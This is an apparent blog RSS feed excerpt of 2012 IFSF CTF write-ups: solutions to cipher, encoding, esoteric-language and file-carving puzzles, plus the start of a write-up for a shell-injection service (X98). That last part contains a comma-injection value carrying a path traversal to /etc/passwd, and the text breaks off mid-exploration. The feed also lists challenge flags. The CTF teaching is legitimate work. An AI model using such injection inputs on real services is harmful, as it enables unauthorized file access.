                 +-+-+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-
&nbsp;
                Game Flag : 0xFEFERKJ8389743GH79G6D368GT093
&nbsp;
                 +-+-+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-</pre></div></div>

<p>Flag: <strong>0xFEFERKJ8389743GH79G6D368GT093</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://leetmore.ctf.su/wp/ifsf-ctf-x99/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>IFSF CTF Small Challenges (#4, #5, #6, #14, #15)</title>
		<link>http://leetmore.ctf.su/wp/ifsf-ctf-small-challenges-4-5-6-14-15/</link>
		<comments>http://leetmore.ctf.su/wp/ifsf-ctf-small-challenges-4-5-6-14-15/#comments</comments>
		<pubDate>Mon, 13 Feb 2012 12:01:57 +0000</pubDate>
		<dc:creator>vos</dc:creator>
				<category><![CDATA[Writeups]]></category>
		<category><![CDATA[APL]]></category>
		<category><![CDATA[ascii]]></category>
		<category><![CDATA[base64]]></category>
		<category><![CDATA[Brainfuck]]></category>
		<category><![CDATA[bruteforce]]></category>
		<category><![CDATA[chef]]></category>
		<category><![CDATA[cipher]]></category>
		<category><![CDATA[crypto]]></category>
		<category><![CDATA[CrypTool]]></category>
		<category><![CDATA[ctf]]></category>
		<category><![CDATA[esoteric]]></category>
		<category><![CDATA[forensic]]></category>
		<category><![CDATA[hash]]></category>
		<category><![CDATA[ifsf]]></category>
		<category><![CDATA[js]]></category>
		<category><![CDATA[keypad]]></category>
		<category><![CDATA[lolcode]]></category>
		<category><![CDATA[rarjpeg]]></category>
		<category><![CDATA[rot13]]></category>
		<category><![CDATA[strings]]></category>
		<category><![CDATA[substitution]]></category>
		<category><![CDATA[Vigenere]]></category>
		<category><![CDATA[whitespace]]></category>
		<category><![CDATA[writeup]]></category>

		<guid isPermaLink="false">http://leetmore.ctf.su/?p=2134</guid>
		<description><![CDATA[Contents #4 ER #5 Change #6 Call me #14 Seek me #15 Embedded docs #4 ER Uhg uevn &#8220;dqsxpivacb yleqsy&#8221; kt uwfe vt nndmcawj e ncsrcuizf hgswe tlat lsglweeu b bvpbf xjlegtirs sf (ppt pfcittcwnly veldyid) csgwnerut htw thi exlxxepde qg gvbof htnstirdhmeu.[1] Uhg uevn ju kweqyenwqc uufd dz sgipnfws ard iq uspwmat dupuvtj yo&#8230; <a class="continue_reading" href="http://leetmore.ctf.su/wp/ifsf-ctf-small-challenges-4-5-6-14-15/">Continue reading &#187;</a>]]></description>
			<content:encoded><![CDATA[<h2>Contents</h2>
<ul>
<li><a href="#4_ER">#4 ER</a></li>
<li><a href="#5_Change">#5 Change</a></li>
<li><a href="#6_Call_me">#6 Call me</a></li>
<li><a href="#14_Seek_me">#14 Seek me</a></li>
<li><a href="#15_Embedded_docs">#15 Embedded docs</a></li>
</ul>
<p><span id="more-2134"></span></p>
<h2 id="4_ER">#4 ER</h2>
<blockquote><p>Uhg uevn &#8220;dqsxpivacb yleqsy&#8221; kt uwfe vt nndmcawj e ncsrcuizf hgswe tlat lsglweeu b bvpbf xjlegtirs sf (ppt pfcittcwnly veldyid) csgwnerut htw thi exlxxepde qg gvbof htnstirdhmeu.[1] Uhg uevn ju kweqyenwqc uufd dz sgipnfws ard iq uspwmat dupuvtj yo ihenwnjy ufctft qjmkyfry, fannnrg, qs pqmixjdcq fctmonv fmmge av &#8220;ttibmksl&#8221; poaer, ptrea, pr hseiepo, kwom &#8220;xhe sjspnf&#8221;.[ckuaxjpp sjedid]<br />
<....><br />
jpxyitytirsw, au seeprhfe ks, kor ixapupe, udhqmavmz fthumintv tv mcjnuuribn ojiia veprwxs, tbtjfr xibp xjcritiyj gocmivjort ph nsdizidxfps.[14]<br />
 #yjkkqehjb</p></blockquote>
<h3>Solution</h3>
<p>Text encoded using <a href="http://en.wikipedia.org/wiki/Vigenère_cipher" title="Vigenere cipher on Wikipedia">Vigenere cipher</a> (identified by trial and error).<br />
Grab <a href="http://www.cryptool.org/en/download-ct1-en" title="CrypTool">CrypTool v1</a>, Analysis &#8211; Symmetric classic &#8211; Ciphertext-only &#8211; Vigenere<br />
The flag is encryption key: <strong>BACBAEBBCFFAAEAADFEAC</strong></p>
<h2 id="5_Change">#5 Change</h2>
<blockquote><p>Txc Azr Adlr txcqhv zj txc ihcydznzlr fqjgqnqrzfdn gqbcn txdt cpindzlj txc cdhnv bcycnqigclt qe txc Klzychjc.[1] Dffqhbzlr tq txc Azr Adlr txcqhv, txc Klzychjc udj qlfc zl dl cpthcgcnv xqt dlb bcljc jtdtc uxzfx cpidlbcb hdizbnv. Txzj hdizb cpidljzql fdkjcb txc vqklr Klzychjc tq fqqn dlb hcjkntcb zl ztj ihcjclt fqltzlkqkjnv cpidlbzlr jtdtc. Dffqhbzlr tq txc gqjt hcfclt gcdjkhcgcltj dlb qajchydtzqlj, txzj qhzrzldn jtdtc cpzjtcb diihqpzgdtcnv 13.7 aznnzql vcdhj drq,[2][3] uxzfx zj<br />
<....><br />
adfmrhqklb hdbzdtzql zl 1964, dlb cjicfzdnnv uxcl ztj jicfthkg (z.c., txc dgqklt qe hdbzdtzql gcdjkhcb dt cdfx udycnclrtx) udj eqklb tq gdtfx txdt qe txchgdn hdbzdtzql ehqg d andfm aqbv, gqjt jfzcltzjtj uchc edzhnv fqlyzlfcb av txc cyzbclfc txdt jqgc ychjzql qe txc Azr Adlr jfcldhzq gkjt xdyc qffkhhcb. &#8212; uzmzicbzd</p></blockquote>
<h3>Solution</h3>
<p>Text encoded using <a href="http://en.wikipedia.org/wiki/Substitution_cipher" title="Substitution cipher on Wikipedia">Simple substitution cipher</a>.<br />
Grab the same <a href="http://www.cryptool.org/en/download-ct1-en" title="CrypTool">CrypTool v1</a>, Analysis &#8211; Symmetric classic &#8211; Ciphertext-only &#8211; Substitution<br />
The flag is encryption key: <strong>DAFBCERXZWMNGLQIOHJTKYUPVS</strong></p>
<h2 id="6_Call_me">#6 Call me</h2>
<blockquote><p>6-666-22-444-555-33-444-7777-222-666-666-555-7777-88-22-6-444-8-8-44-444-7777-333-666-777-7777-666-6-33-7-666-444-66-8-7777</p></blockquote>
<h3>Solution</h3>
<p>Cellphone keypad cipher :-)<br />
Grab a <a href="https://www.google.com/search?tbm=isch&#038;q=cellphone+keypad" title="Search Google Images for 'cellphone keypad'" target="_blank">cellphone keypad</a> and write a text pressing the numbers in the sequence.<br />
The flag: <strong>MOBILEISCOOLSUBMITTHISFORSOMEPOINTS</strong></p>
<h2 id="14_Seek_me">#14 Seek me</h2>
<blockquote><p>Can you Find me ? :)</p></blockquote>
<h3>Solution</h3>
<p>Yes we can, bruteforce <strong>?id=</strong> parameter on taskboard until you get to <a href="http://ctf.forbiddenbits.net/?contest&#038;id=1338" target="_blank">1338</a>.<br />
The error message on that page is not just an error message :)</p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">&lt;p id=&quot;errormsg&quot;&gt;&lt;font color=&quot;red&quot;&gt;&lt;script&gt;var s=String.fromCharCode(73, 115, 84, 104, 105, 83, 82, 101, 97, 76, 76, 121, 72, 73, 68, 68, 69, 78);&lt;/script&gt;Challenge Doesn't Exist&lt;/font&gt;&lt;/p&gt;</pre></div></div>

<p>Decode <strong>73, 115, 84, 104, 105, 83, 82, 101, 97, 76, 76, 121, 72, 73, 68, 68, 69, 78</strong> from decimal, get flag: <strong>IsThiSReaLLyHIDDEN</strong></p>
<h2 id="15_Embedded_docs">#15 Embedded docs</h2>
<blockquote><p>those are some files we could reach ,<br />
but we couldn&#8217;t get what are they about<br />
try to get what you can do !</p>
<p>http://ctf.forbiddenbits.net/Secrets.zip</p></blockquote>
<p><a href="http://leetmore.ctf.su/wp-content/uploads/files/ifsf2012/Secrets2.zip">Grab Secrets.zip</a></p>
<h3>001</h3>
<blockquote><p>0011000000110010001101010011000100110110001110000110000100110101001100110011010100110111011001100011100101100101001100000110000101100100001101110110011001100011001101110011001000110110011001100110011001100001001100100011011100111001001101000011010100110100</p></blockquote>
<p><a href="http://www.yellowpipe.com/yis/tools/encrypter/index.php" target="_blank">Decode from binary</a>, get flag: <strong>025168a5357f9e0ad7fc726ffa279454</strong></p>
<h3>002</h3>
<blockquote><p>YmM1OTJkOGI5YjhmYzRkODQ4NTU3NDI4NDU2ZWIzYWM=</p></blockquote>
<p>Un<a href="http://en.wikipedia.org/wiki/Base64" title="base64 on Wikipedia">base64</a>, get flag: <strong>bc592d8b9b8fc4d848557428456eb3ac</strong></p>
<h3>003</h3>
<blockquote><p>102:98:48:100:53:102:50:101:57:101:102:97:99:100:97:56:55:54:50:56:49:56:98:52:48:101:101:98:57:50:56:57</p></blockquote>
<p><a href="http://www.yellowpipe.com/yis/tools/encrypter/index.php">Decode from decimal</a>, get flag: <strong>fb0d5f2e9efacda8762818b40eeb9289</strong></p>
<h3>004</h3>
<blockquote><p>ST_nIoPemoSroFTI_TImbuS-G4lF_3hT_zI_Siht</p></blockquote>
<p>Flip the string, get flag: <strong>thiS_Iz_Th3_Fl4G-SubmIT_ITForSomePoIn_TS</strong></p>
<h3>005</h3>
<blockquote><p>So0%2000%2000%2000%20TT%20</p></blockquote>
<p><a href="http://en.wikipedia.org/wiki/Percent-encoding" title="Percent-encoding on Wikipedia">Urldecode</a>, get flag: &#8216;<strong>So0 00 00 00 TT </strong>&#8216; (mind the trailing space)</p>
<h3>006</h3>
<blockquote><p>41:4e:4f:54:48:45:52:46:4c:41:47:59:45:53:49:4b:4e:4f:57:49:54:</p></blockquote>
<p><a href="http://www.yellowpipe.com/yis/tools/encrypter/index.php">Decode from hex</a>, get flag: <strong>ANOTHERFLAGYESIKNOWIT</strong></p>
<h3>007</h3>
<blockquote><p>PNALBHFRRZRVTHRFFLBHQB</p></blockquote>
<p><a href="http://en.wikipedia.org/wiki/ROT13" title="Rot13 on Wikipedia">Rot13</a>, get flag: <strong>CANYOUSEEMEIGUESSYOUDO</strong></p>
<h3>008</h3>
<p>A rarjpeg (actually, &#8216;zipjpeg&#8217;). Carve zip file from end, bruteforce encryption password &#8216;<strong>pass</strong>&#8216;, get flag: <strong>8727a6fd1df003d9870654c16d02d39c</strong></p>
<h3>009</h3>
<p>BMP. Open with your favorite image editor (MS Paint), do a fill, read the flag: <strong>JE5POIBB7KOUB54</strong></p>
<h3>010</h3>

<div class="wp_syntax"><div class="code"><pre class="js" style="font-family:monospace;">&lt;script language=JavaScript&gt;
	var t1=0;
	var chars = &quot;ABCDEFGHIJKLMNOPQRSTUVWXYZ12345679&quot;;
	var pass  = &quot;i forgot my pass&quot;;
	var kk=1;
	for (i=0;i&lt;pass.length;++i)
	{
		t1+=(pass.charCodeAt(i)*kk)+(chars.substring(kk,kk+1).charCodeAt(0));
		++kk;
	}
	(t1+'' == '8829') ? alert(&quot;submit this for some points&quot;):alert( &quot;not yet&quot; );	
&lt;/script&gt;</pre></div></div>


<div class="wp_syntax"><div class="code"><pre class="js" style="font-family:monospace;">+ HINT on data format:
&lt;AlpHaNiX&gt; for JS10 format is ***_****_******</pre></div></div>

<p>HTML with JavaScript, implementing some poor hashing algorithm.<br />
Calculate any valid flag (<strong>vos_CPHO_313337</strong>), give it to orgs to get a real challenge flag: <strong>CAA_AAAA_AAATZ</strong></p>
<h3>011</h3>
<p>A win32 exe, written in Visual Basic. Use <a href="http://technet.microsoft.com/en-us/sysinternals/bb897439">strings</a>, get flag: <strong>Th1SiSmYp455w0rD</strong></p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">F:\Secrets<span style="color: #000000; font-weight: bold;">&gt;</span><span style="color: #c20cb9; font-weight: bold;">strings</span> 011.exe
....
Th1SiSmYp455w0rD
....</pre></div></div>

<h3>012</h3>

<div class="wp_syntax"><div class="code"><pre class="lolcode" style="font-family:monospace;"><span style="color: #008000;">HAI</span>
<span style="color: #008000;">CAN</span> <span style="color: #008000;">HAS</span> STDIO<span style="color: #66cc66;">?</span>
<span style="color: #008000;">I HAS A</span> VAR
<span style="color: #008000;">GIMMEH</span> VAR
<span style="color: #666666; style: italic;">BTW I LUV EDOCLOL</span>
<span style="color: #000080;">IZ</span> VAR EQUAL <span style="color: #ff0000;">&quot;IHAZZOMVAR&quot;</span><span style="color: #66cc66;">?</span>
	<span style="color: #000080;">YARLY</span>
		<span style="color: #008000;">VISIBLE</span> <span style="color: #ff0000;">&quot;GUD&quot;</span>
	<span style="color: #000080;">NOWAI</span>
		<span style="color: #008000;">VISIBLE</span> <span style="color: #ff0000;">&quot;SUX&quot;</span>
	<span style="color: #008000;">KTHX</span>
<span style="color: #008000;">KTHXBYE</span></pre></div></div>

<p><a href="http://en.wikipedia.org/wiki/LOLCODE" title="LOLCODE on Wikipedia">LOLCODE</a>. Smoke some specs, get flag: <strong>IHAZZOMVAR</strong></p>
<h3>013</h3>

<div class="wp_syntax"><div class="code"><pre class="whitespace" style="font-family:monospace;">&nbsp;</pre></div></div>

<p><a href="http://en.wikipedia.org/wiki/Whitespace_(programming_language)" title="Whitespace on Wikipedia">Whitespace</a>. Interpret, get flag (numbers are actually printed one by line): <strong>12345678910</strong></p>
<h3>014</h3>

<div class="wp_syntax"><div class="code"><pre class="chef" style="font-family:monospace;"> Ingredients.
 105 beer
 102 mushrooms
 72 cheese
 85 jelly
 74 tacos
 69 beans
&nbsp;
 Method.
 Put mushrooms into the mixing bowl.
 Put beer mustard into the mixing bowl.
 Put cheese mustard into the mixing bowl.
 Put tacos mustard into the mixing bowl.
 Put beans mustard into the mixing bowl.
 Put jelly mustard into the mixing bowl.
 Put cheese mustard into the mixing bowl.
 Liquefy contents of the mixing bowl.
 Pour contents of the mixing bowl into the baking dish.
&nbsp;
 Serves 1.</pre></div></div>

<p><a href="http://en.wikipedia.org/wiki/Chef_(programming_language)" title="Chef on Wikipedia">Chef</a>. Interpret, get flag: <strong>fiHJEUH</strong></p>
<h3>015</h3>

<div class="wp_syntax"><div class="code"><pre class="brainfuck" style="font-family:monospace;">++++++++[&gt;+&gt;++&gt;+++&gt;++++&gt;+++++&gt;++++++&gt;+++++++&gt;++++++++&gt;+++++++++&gt;++++++++++&gt;+++++++++++&gt;++++++++++++&gt;+++++++++++++&gt;++++++++++++++&gt;+++++++++++++++&gt;++++++++++++++++&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;-]&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;--.++&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&gt;&gt;&gt;&gt;&gt;&gt;.&lt;&lt;&lt;&lt;&lt;&lt;&gt;&gt;&gt;&gt;&gt;&gt;+++.---&lt;&lt;&lt;&lt;&lt;&lt;&gt;&gt;&gt;&gt;&gt;&gt;.&lt;&lt;&lt;&lt;&lt;&lt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;+.-&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;---.+++&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;.&lt;&lt;&lt;&lt;&lt;&lt;&lt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;+++.---&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;----.++++&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&gt;&gt;&gt;&gt;&gt;&gt;.&lt;&lt;&lt;&lt;&lt;&lt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;---.+++&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&gt;&gt;&gt;&gt;&gt;&gt;++.--&lt;&lt;&lt;&lt;&lt;&lt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;+.-&lt;&lt;&lt;&lt;&lt;&lt;&lt;&gt;&gt;&gt;&gt;&gt;&gt;+++.---&lt;&lt;&lt;&lt;&lt;&lt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;--.++&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;+++.---&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&gt;&gt;&gt;&gt;&gt;&gt;+++.---&lt;&lt;&lt;&lt;&lt;&lt;&gt;&gt;&gt;&gt;&gt;&gt;+++.---&lt;&lt;&lt;&lt;&lt;&lt;&gt;&gt;&gt;&gt;&gt;&gt;++.--&lt;&lt;&lt;&lt;&lt;&lt;&gt;&gt;&gt;&gt;&gt;&gt;++.--&lt;&lt;&lt;&lt;&lt;&lt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;+.-&lt;&lt;&lt;&lt;&lt;&lt;&lt;&gt;&gt;&gt;&gt;&gt;&gt;.&lt;&lt;&lt;&lt;&lt;&lt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;+++.---&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;-.+&lt;&lt;&lt;&lt;&lt;&lt;&lt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;--.++&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;---.+++&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;---.+++&lt;&lt;&lt;&lt;&lt;&lt;&lt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;--.++&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;+.-&lt;&lt;&lt;&lt;&lt;&lt;&lt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;+++.---&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;.&lt;&lt;&lt;&lt;&lt;&lt;&lt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;+++.---&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;.</pre></div></div>

<p><a href="http://en.wikipedia.org/wiki/Brainfuck" title="Brainfuck on Wikipedia">Brainfuck</a>. Interpret, get flag: <strong>f030ae8cd0e293fc332290c7fe5f9c8c</strong></p>
<h3>016</h3>
<p>A password-protected rar. Strangely, the flag can be seen in RAR comment, though it isn&#8217;t plain-text in the file.<br />
<strong style='color: #800000'>If anyone knows why it&#8217;s like this, please leave a comment!</strong> :)<br />
Flag: <strong>iojGRU84HXBYY3R6T</strong></p>
<h3>017</h3>
<p><img src="http://leetmore.ctf.su/wp-content/uploads/2012/02/017.png" alt="017" /><br />
<a href="http://en.wikipedia.org/wiki/APL_(programming_language)" title="APL on Wikipedia">APL</a>. Interpret using <a href="http://www.nars2000.org/">NARS2000</a>, get flag: <strong>42746658902357111317192329313741434753596167717379838997</strong><br />
(again numbers need to be written one after another)</p>
]]></content:encoded>
			<wfw:commentRss>http://leetmore.ctf.su/wp/ifsf-ctf-small-challenges-4-5-6-14-15/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>IFSF CTF #8 (X98) Write-up</title>
		<link>http://leetmore.ctf.su/wp/ifsf-ctf-x98/</link>
		<comments>http://leetmore.ctf.su/wp/ifsf-ctf-x98/#comments</comments>
		<pubDate>Mon, 13 Feb 2012 10:52:26 +0000</pubDate>
		<dc:creator>vos</dc:creator>
				<category><![CDATA[Writeups]]></category>
		<category><![CDATA[bash]]></category>
		<category><![CDATA[CTB]]></category>
		<category><![CDATA[ctf]]></category>
		<category><![CDATA[fail]]></category>
		<category><![CDATA[ifsf]]></category>
		<category><![CDATA[injection]]></category>
		<category><![CDATA[nc]]></category>
		<category><![CDATA[netcat]]></category>
		<category><![CDATA[permissions]]></category>
		<category><![CDATA[quals]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[writeup]]></category>

		<guid isPermaLink="false">http://leetmore.ctf.su/?p=2087</guid>
		<description><![CDATA[we know it&#8217;s about some secret agents , but we need more than that 208.64.122.234 PORT 3000 X98 is a remote CTB task with a shell injection vuln. The auth When connected to the service, we get an auth request: +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ _ _ 98 _________ ______ ______ _ _ _____ ______ ______ \ \ /&#8230; <a class="continue_reading" href="http://leetmore.ctf.su/wp/ifsf-ctf-x98/">Continue reading &#187;</a>]]></description>
			<content:encoded><![CDATA[<blockquote><p>we know it&#8217;s about some secret agents ,<br />
but we need more than that</p>
<p>208.64.122.234<br />
PORT 3000</p></blockquote>
<p>X98 is a remote CTB task with a shell injection vuln.<br />
<span id="more-2087"></span></p>
<h3>The auth</h3>
<p>When connected to the service, we get an auth request:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 _    _  <span style="color: #000000;">98</span>   _________   ______   ______  _    _  _____  ______   ______
\ \  <span style="color: #000000; font-weight: bold;">/</span> <span style="color: #000000; font-weight: bold;">/</span>     <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span> \ <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span>  <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span>     <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span>  <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span>  <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span>  <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span>  \ \ <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span>
 <span style="color: #000000; font-weight: bold;">&gt;|</span>--<span style="color: #000000; font-weight: bold;">|&lt;</span>      <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span>__<span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span>     <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span>--<span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span>  <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span>  <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span>  <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span>----
<span style="color: #000000; font-weight: bold;">/</span>_<span style="color: #000000; font-weight: bold;">/</span>  \_\     <span style="color: #000000; font-weight: bold;">|</span>_<span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span>_<span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span>_<span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span>_<span style="color: #000000; font-weight: bold;">|</span>  <span style="color: #000000; font-weight: bold;">|</span>_<span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span>_<span style="color: #000000; font-weight: bold;">|</span>____ <span style="color: #000000; font-weight: bold;">|</span>_<span style="color: #000000; font-weight: bold;">|</span>  <span style="color: #000000; font-weight: bold;">|</span>_<span style="color: #000000; font-weight: bold;">|</span> _<span style="color: #000000; font-weight: bold;">|</span>_<span style="color: #000000; font-weight: bold;">|</span>_ <span style="color: #000000; font-weight: bold;">|</span>_<span style="color: #000000; font-weight: bold;">|</span>  <span style="color: #000000; font-weight: bold;">|</span>_<span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span>_<span style="color: #000000; font-weight: bold;">|</span>____
&nbsp;
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
&nbsp;
<span style="color: #666666; font-style: italic;">#Only SAM is allowed</span>
&nbsp;
UserName : _</pre></div></div>

<p>This may be a frustrating part, but there is no vuln. We just log in after several attempts (remember that only <strong>SAM</strong> is allowed :-)</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">UserName : SAM
Password : pass
&nbsp;
Welcome SAM
&nbsp;
<span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #7a0874; font-weight: bold;">help</span>
&nbsp;
Display Agents Names  : agents
Show Agent Details    : details agent_name
Add Agent             : add <span style="color: #000000; font-weight: bold;">&lt;</span>agent_name<span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #000000; font-weight: bold;">&lt;</span>age<span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #000000; font-weight: bold;">&lt;</span>origin<span style="color: #000000; font-weight: bold;">&gt;</span>
Pending Data          : pending
Confirm modifications : confirm
&nbsp;
<span style="color: #000000; font-weight: bold;">&gt;</span> _</pre></div></div>

<h3>The possibilities</h3>
<p>Service allows us to manage agent db: list <strong>agents</strong>,</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&gt;</span> agents
john
james
jakob</pre></div></div>

<p>view agent <strong>details</strong>,</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&gt;</span> details james
Name : james - Age : <span style="color: #000000;">30</span> - Origin : RUSSIA - Home : home087</pre></div></div>

<p>and also <strong>add</strong> agents (note <b><i>&lt;&gt;</i></b>&#8216;s are actually required in <strong>add</strong> command)</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&gt;</span> add <span style="color: #000000; font-weight: bold;">&lt;</span>vos<span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #000000; font-weight: bold;">&lt;</span><span style="color: #000000;">20</span><span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #000000; font-weight: bold;">&lt;</span>leetmore<span style="color: #000000; font-weight: bold;">&gt;</span>
&nbsp;
Agent Added <span style="color: #000000; font-weight: bold;">!</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">&gt;</span> pending
&nbsp;
vos,<span style="color: #000000;">20</span>,leetmore,agent7585
&nbsp;
&nbsp;
<span style="color: #000000; font-weight: bold;">&gt;</span> confirm
y<span style="color: #000000; font-weight: bold;">/</span>n ?
y
&nbsp;
Writing agent details at <span style="color: #c20cb9; font-weight: bold;">file</span> agent7585 with success
&nbsp;
Confirmed</pre></div></div>

<h3>The weaknesses</h3>
<p>First obvious weakness that we can try, is change the name of file that&#8217;s being written via comma injection:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&gt;</span> add <span style="color: #000000; font-weight: bold;">&lt;</span>ololo<span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #000000; font-weight: bold;">&lt;</span>trololo<span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #000000; font-weight: bold;">&lt;</span>foo,..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span><span style="color: #c20cb9; font-weight: bold;">passwd</span><span style="color: #000000; font-weight: bold;">&gt;</span>
&nbsp;
Agent Added <span style="color: #000000; font-weight: bold;">!</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">&gt;</span> pending
&nbsp;
